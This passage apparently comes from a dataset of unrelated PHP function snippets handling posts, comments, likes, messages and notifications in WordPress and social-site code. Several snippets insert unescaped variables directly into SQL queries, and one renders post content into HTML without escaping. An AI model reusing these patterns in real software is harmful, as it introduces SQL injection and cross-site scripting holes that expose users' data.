! $user = get_user_by( 'id', $comment->user_id ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$args = array(\n\t\t\t'action' => 'wporg_handle_activity',\n\t\t\t'source' => 'wordpress',\n\t\t\t'user' => $user->user_login,\n\t\t\t'comment_id' => $comment->comment_ID,\n\t\t\t'content' => get_comment_excerpt( $comment ),\n\t\t\t'title' => get_the_title( $post ),\n\t\t\t'blog' => get_bloginfo( 'name' ),\n\t\t\t'blog_url' => site_url(),\n\t\t\t'url' => get_comment_link( $comment ),\n\t\t);\n\n\t\tProfiles\\api( $args );\n\t}", "public function hasPost(string $name): bool {}", "public function report($reason = '', $notify_reporter = false)\n\t{\n\t\t$this->post_reported = true;\n\n\t\t// Setup the attention object and submit it\n\t\t$attention = new titania_attention;\n\t\t$attention->__set_array(array(\n\t\t\t'attention_type'\t\t=> ext::TITANIA_ATTENTION_REPORTED,\n\t\t\t'attention_object_type'\t=> ext::TITANIA_POST,\n\t\t\t'attention_object_id'\t=> $this->post_id,\n\t\t\t'attention_poster_id'\t=> $this->post_user_id,\n\t\t\t'attention_post_time'\t=> $this->post_time,\n\t\t\t'attention_url'\t\t\t=> $this->get_url(),\n\t\t\t'attention_title'\t\t=> $this->post_subject,\n\t\t\t'attention_description'\t=> $reason,\n\t\t\t'notify_reporter'\t\t=> $notify_reporter,\n\t\t));\n\t\t$attention->submit();\n\n\t\t// Update the postcount and mark as reported for the topic and submit it\n\t\t$this->update_topic_postcount();\n\t\t$this->topic->topic_reported = true;\n\t\t$this->topic->submit();\n\n\t\t// Self submission\n\t\tparent::submit();\n\t}", "function likedByUser($post_id) {\n\n\t$loggedUser = loggedInUserId();\n\t$result = queryDb(\"SELECT * FROM likes WHERE user_id = {$loggedUser} AND post_id = {$post_id}\");\n\tconfirm($result);\n\treturn mysqli_num_rows($result) > 0 ? true : false;\n}", "public function whenMentioned(): bool\n {\n return false;\n }", "public function find_users_for_notification($post, $options = array())\n\t{\n\t\t$options = array_merge(array(\n\t\t\t'ignore_users'\t\t=> array(),\n\t\t), $options);\n\n\t\t$users = array();\n\t\t$users[$post['poster_id']] = array('');\n\n\t\treturn $this->get_authorised_recipients(array_keys($users), $post['forum_id'], array_merge($options, array(\n\t\t\t'item_type'\t\t=> self::$notification_option['id'],\n\t\t)));\n\t}", "function show_mentions()\n\t{\n\t\tglobal $id;\t\t\n\t\tif ($id) {\n\t\t\t$rs = safe_rows(\"*\", \"txp_log_mention\", \"article_id='$id'\");\n\t\t\tif ($rs) {\n\t\t\t\tforeach($rs as $a) {\n\t\t\t\t\textract($a);\n\t\t\t\t\t$out[] = '<a href=\"http://'.$refpage.'\" title=\"'.$excerpt\n\t\t\t\t\t\t.'\">'.$reftitle.'</a>';\n\t\t\t\t}\t\n\t\t\t\treturn hed(gTxt('mentions'),3) . graf(join(br, $out));\n\t\t\t}\n\t\t}\n\t}", "public function notification();", "public function notification();", "public function iN_InsertNotificationForCommented($userID, $postID) {\n\t\t$userID = mysqli_real_escape_string($this->db, $userID);\n\t\t$postID = mysqli_real_escape_string($this->db, $postID);\n\t\t$postData = $this->iN_GetAllPostDetails($postID);\n\t\t$postFile = isset($postData['post_file']) ? $postData['post_file'] : NULL;\n\t\t$postOwnerID = isset($postData['post_owner_id']) ? $postData['post_owner_id'] : NULL;\n\t\tif ($postFile) {\n\t\t\t$notType = 'image';\n\t\t} else {\n\t\t\t$notType = 'text';\n\t\t}\n\t\t$time = time();\n\t\tmysqli_query($this->db, \"INSERT INTO i_user_notifications (not_iuid, not_post_id, not_own_iuid, not_type, not_not_type, not_time)VALUES('$userID','$postID','$postOwnerID','$notType','commented','$time')\") or die(mysqli_error($this->db));\n\t\tmysqli_query($this->db, \"UPDATE i_users SET notification_read_status = '1' WHERE iuid = '$postOwnerID'\") or die(mysqli_error($this->db));\n\t\treturn true;\n\t}", "public static function metaNotification($post = null)\n {\n $v = get_post_meta($post->ID, 'location', true);\n echo __METHOD__;\n\n // Show all location information. Choose which data to display\n if (!$v) {\n// echo 'location not yet chosen.';\n }\n echo 'admins!';\n }", "function _zb_ulp_this_post_like( $user_id, $post_id ) {\n\tglobal $wpdb;\n\n\t$table_name = $wpdb->prefix . ZB_ULP_PLUGIN_TABLE_NAME;\n\t$check_query = \"SELECT * FROM $table_name WHERE user_id= $user_id AND post_id = $post_id\";\n\t$check_data_exist = $wpdb->get_var( $check_query );\n\n\treturn ( ! empty( $check_data_exist ) ) ? true : false;\n\n}", "function notifica_post_facebook() {\n\n global $baseUrl, $mysql;\n\n $uname = $_SESSION['username'];\n $facebook = get_fb_instance();\n\n $utenti = mysql_query(\"SELECT fb_uid FROM utenti WHERE fb_uid IS NOT NULL\", $mysql);\n if($utenti)\n while($row = mysql_fetch_assoc($utenti))\n $uids[] = $row['fb_uid'];\n //$uid_string = implode(',', $uids);\n\n $attachment = array(\n 'access_token' => $facebook->getAccessToken(),\n 'name' => 'NewFantaTorneo',\n 'link' => \"$baseUrl\",\n 'caption' => \"Nuovo post di \" . $uname . \" sul wall\",\n 'description' => 'Corri a leggerlo!',\n 'picture' => $baseUrl . 'images/facebook_post_image_message.png',\n 'message' => 'Hai un nuovo messaggio in bacheca!'\n );\n\n foreach($uids as $uid)\n if($uid != $_SESSION['fb_uid'])\n @$facebook->api(\"/\" . $uid . \"/feed\", 'POST', $attachment);\n}", "public function updateNotification($tokens){\n $params = array(\n \"read\" => 1 \n ); \n\n $this->db->where('results_token', $tokens);\n if ($this->db->update('chat_tbl', $params) !== FALSE)\n return true; \n return false;\n }", "function viewNotification(){\n $sad = $this->session->all_userdata();\n if (!$sad['logged_in'] == true) {\n redirect(base_url());\n }\n\n $data['id'] = $_POST['activity_id'];\n $data['post_id'] = $_POST['post_id'];\n \n // call to the function that performs the update in the database\n $this->Profile_model->update_notification($data);\n\n return true;\n }", "function ppmess_get_all_messages_2($logged_user, $author_id, $post_id){\n\t\n\tglobal $wpdb;\n\t\n\t$show_status = '_' . $logged_user;\n\n\t$query = \"SELECT * FROM {$wpdb->prefix}private_messages WHERE ( (sender_id = $logged_user AND receiver_id = $author_id) OR (sender_id = $author_id AND receiver_id = $logged_user) ) \n\tAND post_id = $post_id AND show_status LIKE '%$show_status%' ORDER BY date_created ASC\";\n\t\n\t$result = $wpdb->get_results( $query, ARRAY_A );\n\t\n\tif($wpdb->num_rows > 0)\n\t\treturn $result;\n\telse\n\t\treturn FALSE;\n}", "function save_user_story_backend($post_id) {\n $post = get_post($post_id);\n \n if ('user_story' == $_POST['post_type']) {\n if (!current_user_can('edit_page', $post_id)) return;\n\t$user_assigned = get_field('assigned_to');\n\tif(get_post_meta($post_id,'assigned_email', true)!=$user_assigned['user_email']){//different value then send email \n\t\tupdate_post_meta($post_id,'assigned_email',$user_assigned['user_email']);\n\t\tsend_email_assigned($user_assigned['user_email'],$post->post_title,get_permalink($post_id)); //send email\n\t}\n\t\n }\t\n}", "public static function show_moderation_message( $post ) {\n\t\tif (\n\t\t\tempty( $_GET['photomoderated'] )\n\t\t||\n\t\t\tempty( $_GET['photoaction'] )\n\t\t||\n\t\t\tRegistrations::get_post_type() !== get_post_type( $post )\n\t\t) {\n\t\t\treturn;\n\t\t}\n\n\t\t$moderated_post = get_post( (int) $_GET['photomoderated'] );\n\n\t\tif ( ! $moderated_post ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$message = '';\n\t\t$edit_link = get_edit_post_link( $moderated_post );\n\n\t\tswitch ( $_GET['photoaction'] ) {\n\t\t\tcase 'approval':\n\t\t\t\t$message = sprintf(\n\t\t\t\t\t/* translators: 1: Link markup to view photo post, 2: Link markup to edit photo post. */\n\t\t\t\t\t__( 'Photo post approved. %1$s &mdash; %2$s', 'wporg-photos' ),\n\t\t\t\t\tsprintf(\n\t\t\t\t\t\t' <a href=\"%s\">%s</a>',\n\t\t\t\t\t\tesc_url( get_post_permalink( $moderated_post ) ),\n\t\t\t\t\t\t__( 'View photo post', 'wporg-photos' )\n\t\t\t\t\t),\n\t\t\t\t\tsprintf(\n\t\t\t\t\t\t' <a href=\"%s\">%s</a>',\n\t\t\t\t\t\tesc_url( $edit_link ),\n\t\t\t\t\t\t__( 'Edit photo post', 'wporg-photos' )\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\tcase 'rejection':\n\t\t\t\t$message = sprintf(\n\t\t\t\t\t/* translators: %s: Link markup to view photo post. */\n\t\t\t\t\t__( 'Photo post rejected. %s', 'wporg-photos' ),\n\t\t\t\t\tsprintf(\n\t\t\t\t\t\t' <a href=\"%s\">%s</a>',\n\t\t\t\t\t\tesc_url( $edit_link ),\n\t\t\t\t\t\t__( 'Edit photo post', 'wporg-photos' )\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$message = '';\n\t\t}\n\n\t\tif ( $message ) {\n\t\t\tprintf(\n\t\t\t\t'<div id=\"message\" class=\"updated notice notice-success is-dismissible\"><p>%s</p></div>',\n\t\t\t\t$message\n\t\t\t);\n\t\t}\n\t}", "function twitter_auto_follow(int $uid, object $data)\n{\n\t$addrpattern = '([A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,6})';\n\n\t// Search for user@domain.tld in the name\n\tif (preg_match('#' . $addrpattern . '#', $data->name, $match)) {\n\t\tif (twitter_add_contact($match[1], true, $uid)) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Search for @user@domain.tld in the description\n\tif (preg_match('#@' . $addrpattern . '#', $data->description, $match)) {\n\t\tif (twitter_add_contact($match[1], true, $uid)) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Search for user@domain.tld in the description\n\t// We don't probe here, since this could be a mail address\n\tif (preg_match('#' . $addrpattern . '#', $data->description, $match)) {\n\t\tif (twitter_add_contact($match[1], false, $uid)) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Search for profile links in the description\n\tforeach ($data->entities->description->urls as $url) {\n\t\tif (!empty($url->expanded_url)) {\n\t\t\t// We only probe on Mastodon style URL to reduce the number of unsuccessful probes\n\t\t\ttwitter_add_contact($url->expanded_url, strpos($url->expanded_url, '@'), $uid);\n\t\t}\n\t}\n}", "public function run()\n {\n $sender = wp_get_current_user()->get('user_email');\n $headers = 'From: '.$sender.'<'.$sender.'>'.\"\\r\\n\";\n $subject = sprintf(\n esc_html__('Your post on %s was rejected.', 'reject-notify'),\n esc_html(get_bloginfo('name'))\n );\n add_filter('wp_mail_content_type', function () {\n return 'text/html';\n }, PHP_INT_MAX);\n $success = wp_mail($this->data['recipient'], $subject, $this->data['reason'], $headers);\n $format = $success\n ? esc_html__('Email sent to %s!', 'reject-notify')\n : esc_html__('Error on sending email to %s', 'reject-notify');\n $message = sprintf($format, $this->data['recipient']);\n $class = $success ? 'updated' : 'error';\n $json = array_merge($this->data, compact('message', 'class', 'sender', 'subject'));\n $success and $this->meta->add($this->data['postid'], $this->authorID);\n wp_send_json($json);\n }", "static function comment_post($id_comment){\n if(!(($id_user = PDOQueries::get_post_publisher_id_by_comment($id_comment)) > 0) || !(($id_post = PDOQueries::get_post_id_by_comment($id_comment)) > 0) || !(($id_publisher = PDOQueries::get_publisher_id($id_post)) > 0))\n throw new \\PersonalizeException(2001);\n $marker = '{comment_post}{id_publisher/'.$id_user.'}';\n $link = 'index.php?'.Navigation::$navigation_marker.'='.Timeline::$post_id_page.'#'.$id_post.$id_comment;\n return PDOQueries::add_notification($id_publisher,$marker,$link);\n }", "public function register_notifications();", "public function getNotifyAction() {\r\n $this->view->notification = $notification = $this->_getParam('notification', 0);\r\n $suggObj = Engine_Api::_()->getItem('suggestion', $notification->object_id);\r\n if (!empty($suggObj)) {\r\n\t\t\t$this->view->suggObj = $suggObj;\r\n\r\n if( strstr($suggObj->entity, \"sitereview\") ) {\r\n $getListingTypeId = Engine_Api::_()->getItem('sitereview_listing', $suggObj->entity_id)->listingtype_id;\r\n $getModId = Engine_Api::_()->suggestion()->getReviewModInfo($getListingTypeId);\r\n $modInfoArray = Engine_Api::_()->getApi('modInfo', 'suggestion')->getPluginDetailed(\"sitereview_\" . $getModId);\r\n $this->view->modInfoArray = $modInfoArray = $modInfoArray[\"sitereview_\" . $getModId];\r\n }else {\r\n $modInfoArray = Engine_Api::_()->getApi('modInfo', 'suggestion')->getPluginDetailed($suggObj->entity);\r\n $this->view->modInfoArray = $modInfoArray = $modInfoArray[$suggObj->entity];\r\n }\r\n \r\n if ($this->isModuleEnabled($modInfoArray['pluginName'])) {\r\n if ( $suggObj->entity == 'photo' ) {\r\n $modItemId = $suggObj->sender_id;\r\n } else {\r\n $modItemId = $suggObj->entity_id;\r\n }\r\n $modObj = Engine_Api::_()->getItem($modInfoArray['itemType'], $modItemId);\r\n\r\n\t// Check Sender exist on site or not.\r\n\t$isSenderExist= Engine_Api::_()->getItem('user', $suggObj->sender_id)->getIdentity();\r\n\tif( empty($isSenderExist) ) {\r\n\t Engine_Api::_()->getDbtable('suggestions', 'suggestion')->removeSuggestion($suggObj->entity, $suggObj->entity_id, $modInfoArray['notificationType']);\r\n\t $this->_helper->redirector->gotoRoute(array('route' => 'default'));\r\n\t $this->view->modObj = null;\r\n\t}\r\n\r\n\t// If Loggden user have \"Friend Suggestion\" Which already his friend then that friend suggestion should be delete.\r\n\tif( empty($modObj) || (( $suggObj->entity != 'photo' ) && ($modInfoArray['itemType'] == 'user') && !empty($modItemId)) ) {\r\n\t\t$is_user = Engine_Api::_()->getItem('user', $suggObj->entity_id)->getIdentity();\r\n\t\t$isFriend = Engine_Api::_()->getApi('coreFun', 'suggestion')->isMember($modItemId);\r\n\t\tif( empty($is_user) || !empty($isFriend) || empty($modObj) ) {\r\n\t\t Engine_Api::_()->getDbtable('suggestions', 'suggestion')->removeSuggestion($suggObj->entity, $suggObj->entity_id, $modInfoArray['notificationType']);\r\n\t\t $this->_helper->redirector->gotoRoute(array('route' => 'default'));\r\n\t\t $this->view->modObj = null;\r\n\t\t}\r\n\t}\r\n\r\n // It would be \"NULL\", If that entry already deleteed from the table.\r\n if (empty($modObj)) {\r\n Engine_Api::_()->getDbtable('suggestions', 'suggestion')->removeSuggestion($suggObj->entity, $suggObj->entity_id, $modInfoArray['notificationType']);\r\n $this->_helper->redirector->gotoRoute(array('route' => 'default'));\r\n $this->view->modObj = null;\r\n } else {\r\n\t\t\t\t\t$this->view->modObj = $modObj;\r\n $this->view->senderObj = $senderObj = Engine_Api::_()->getItem('user', $suggObj->sender_id);\r\n $this->view->sender_name = $this->view->htmlLink($senderObj->getHref(), $senderObj->displayname);\r\n }\r\n }else {\r\n\t$this->view->modNotEnable = true;\r\n }\r\n }else {\r\n\t\t\t// If suggestion are not available in \"Suggestion\" table but available in \"Notifications table\" then we are deleting from \"Notifications Table\".\r\n\t\t\tEngine_Api::_()->getDbtable('notifications', 'activity')->delete(array('notification_id = ?' => $notification->notification_id));\r\n\t\t\t$this->_helper->redirector->gotoRoute(array('route' => 'default'));\r\n\t\t}\r\n }", "function stackable_add_welcome_notification( $id, $message ) {\n global $stackable_notifications;\n\n\t\t// Don't show dismissed.\n $dismissed = get_option( 'stackable_notifications_dismissed' );\n if ( $dismissed && in_array( $id, $dismissed ) ) {\n return;\n\t\t}\n\n\t\t// Don't show duplicates.\n\t\tforeach ( $stackable_notifications as $notification ) {\n\t\t\tif ( $notification[ 'id' ] === $id ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n $stackable_notifications[] = array(\n 'id' => $id,\n 'message' => preg_match( '/<(p|h4|h3|h2)/', $message ) ? $message : '<p>' . $message . '</p>',\n );\n }", "public function notify_members() {\n $from = array($this->site->user->email, $this->site->user->name());\n $subject = Kohana::lang('finance_reminder.charge.subject');\n if ($this->site->collections_enabled()) {\n $message = Kohana::lang('finance_reminder.charge.message_finances');\n }\n else {\n $message = Kohana::lang('finance_reminder.charge.message_basic');\n }\n\n foreach ($this->finance_charge_members as $member) {\n if ( ! $member->paid) {\n $replacements = array(\n '!name' => $member->user->name(),\n '!due_date' => date::display($member->due, 'M d, Y', FALSE),\n '!due_amount' => money::display($member->balance()),\n '!charge_title' => $member->title,\n '!pay_link' => url::base(),\n );\n $email = array(\n 'subject' => strtr($subject, $replacements),\n 'message' => strtr($message, $replacements),\n );\n email::announcement($member->user->email, $from, 'finance_charge_reminder', $email, $email['subject']);\n }\n }\n return TRUE;\n }", "function twitter_reply_to($user_id, $string){\n\t$screen_name = get_twitter_screen_name($user_id);\n\tif($screen_name){\n\t\tupdate_twitter_status(\"@{$screen_name} \".$string);\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "public function markNotificationAsRead()\n\t{\n\t\t//get current login user\n\t\t$user = $this->Session->read('UserData.userName');\n\t\t$this->MeetingUser->updateAll(\n\t\t\t\tarray('MeetingUser.is_read' => 1),\n\t\t\t\tarray('MeetingUser.to_user' => $user)\n\t\t);\n\t\techo \"true\";\n\t\texit;\n\t}", "public function reply_post() {\n\t\t$data['uid'] = $this->input->get('uid');\n\t\t$data['_id'] = $this->input->get('_id');\n\t\t$data['text'] = $this->input->get('text');\n\t\t$data['ts'] = now();\n\t\t\n\t\t$this->Messages_model->reply($data);\n\t}", "public function add_postAction() {\r\n\t\t$info = $this->getPost(array('sort', 'title', 'channel_id', 'link', 'start_time', 'end_time','hits', 'status'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$result = Gou_Service_Notice::addNotice($info);\r\n\t\tif (!$result) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功');\r\n\t}", "public function getSinglePost($post_id){\n \n \n\t\t\t\t\t\t\t\t$userLoggedIn = $this->user_obj->getUsername();\n\n\n $opened_query = mysqli_query($this->con,\"UPDATE notifications SET opened='yes' WHERE user_to='$userLoggedIn' AND link LIKE '%=$post_id'\");\n\t\t\t\t\t\t\t\t$str = \"\";\n\t\t\t\t\t\t\t\t$data = mysqli_query($this->con,\"SELECT * FROM posts WHERE deleted='no' AND id='$post_id' ORDER BY id DESC\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$data_query = $data;\n\t\t\t\t\t\t\t\tif(mysqli_num_rows($data_query)){\n $row = mysqli_fetch_array($data);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$id = $row['id'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$body = $row['body'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$added_by = $row['added_by'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$date_time = $row['date_added'];\n $imagePath = $row['image'];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t//prepare user_to string so it can be included even if\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t//not posted to a user\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($row['user_to'] == \"none\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$user_to = \"\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$user_to_obj = new User($this->con,$row['user_to']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$user_to_name = $user_to_obj->getFirstAndLastName();\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$user_to = \"to <a href='\".$row['user_to'].\"'>\".$user_to_name .\"</a>\";\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t//check if user who posted ,has ther accocount closed\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$added_by_obj = new User($this->con,$added_by);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($added_by_obj->isClosed())\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t $user_logged_obj = new User($this->con,$userLoggedIn);\n\t\t\t\t\t\t\t\t\t\t\t if($user_logged_obj->isFriend($added_by)){\n\n \n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t if($userLoggedIn == $added_by)\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t $delete_button = \"<button class='delete_button btn-danger' id='post$id' >X</button>\";\n\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t\t\t\t \t$delete_button = \"\";\n\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$user_details_query = mysqli_query($this->con,\"SELECT first_name,last_name,profile_pic FROM users WHERE username='$added_by'\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$user_row = mysqli_fetch_array($user_details_query);\n\t\t\t\t\t\t\t\t\t\t\t $first_name = $user_row['first_name'];\n\t\t\t\t\t\t\t\t\t\t\t $last_name = $user_row['last_name'];\n\t\t\t\t\t\t\t\t\t\t\t $profile_pic= $user_row['profile_pic'];\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t <script > \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfunction toggle<?php echo$id; ?>() {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t var target = $(event.target);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if(!target.is(\"a\"))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\t \tvar element = document.getElementById(\"toggleComment<?php echo $id; ?>\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(element.style.display == \"block\") \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telement.style.display = \"none\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telement.style.display = \"block\";\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</script>\n\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t<?php\n\n\t\t\t\t\t\t\t\t\t\t\t$comments_check = mysqli_query($this->con,\"SELECT * FROM comments WHERE post_id='$id'\");\n\t\t\t\t\t\t\t\t\t\t\t$comments_check_num = mysqli_num_rows($comments_check);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t//timeframe\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$date_time_now = date('Y-m-d H:i:s');\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$start_date = new DateTime($date_time);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$end_date = new DateTime($date_time_now);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$interval = $start_date->diff($end_date);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($interval->y >= 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($interval == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$time_message = $interval->y .\" year ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$time_message = $interval->y .\" years ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse if($interval-> m >= 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if($interval->d == 0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t$days = \" ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t else if($interval->d == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t$days = $interval->d.\" day ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t$days = $interval->d.\" days ago\";\n\t\t\t\t\t\t\t\t\t\t\t if($interval->m == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$time_message = $interval->m .\" month \".$days;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$time_message = $interval->m .\" month \".$days;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse if($interval->d >= 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($interval->d == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t $time_message = \" Yesterday\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t$time_message = $interval->d.\" days ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse if($interval->h >= 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($interval->h == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t $time_message = $interval->h .\" hour ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t$time_message = $interval->h.\" hours ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse if($interval->i >= 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($interval->i == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t $time_message = $interval->i .\" minute ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t$time_message = $interval->i.\" minutes ago\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($interval->s <= 30)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t $time_message = \" Just now\";\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t$time_message = $interval->s.\" seconds ago\";\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t if($imagePath != \"\"){\n\t\t\t\t\t\t\t $imageDiv = \"<div class='postedImage'>\n\t\t\t\t\t\t\t <img src='$imagePath'>\n\t\t\t\t\t\t\t </div>\";\n\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t else{\n\t\t\t\t\t\t\t\t\t$imageDiv = \"\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t $str.=\"\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class='status_post' >\n\t\t\t\t\t\t\t\t\t\t\t <div class='post_profile_pic' >\n\t\t\t\t\t\t\t\t\t\t\t <img src='$profile_pic' width=50 >\n\t\t\t\t\t\t\t\t\t\t\t </div>\n\t\t\t\t\t\t\t\t\t\t\t <div class='posted_by' >\n\t\t\t\t\t\t\t\t\t\t\t <a href='$added_by'>$first_name $last_name</a> $user_to &nbsp;&nbsp;&nbsp;&nbsp;$time_message\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t \n\n\n\t\t\t\t\t\t\t\t\t\t\t </div>\n\n\t\t\t\t\t\t\t\t\t\t\t <div id='post_body'>\n\t\t\t\t\t\t\t\t\t\t\t $body\n\t\t\t\t\t\t\t\t\t\t\t 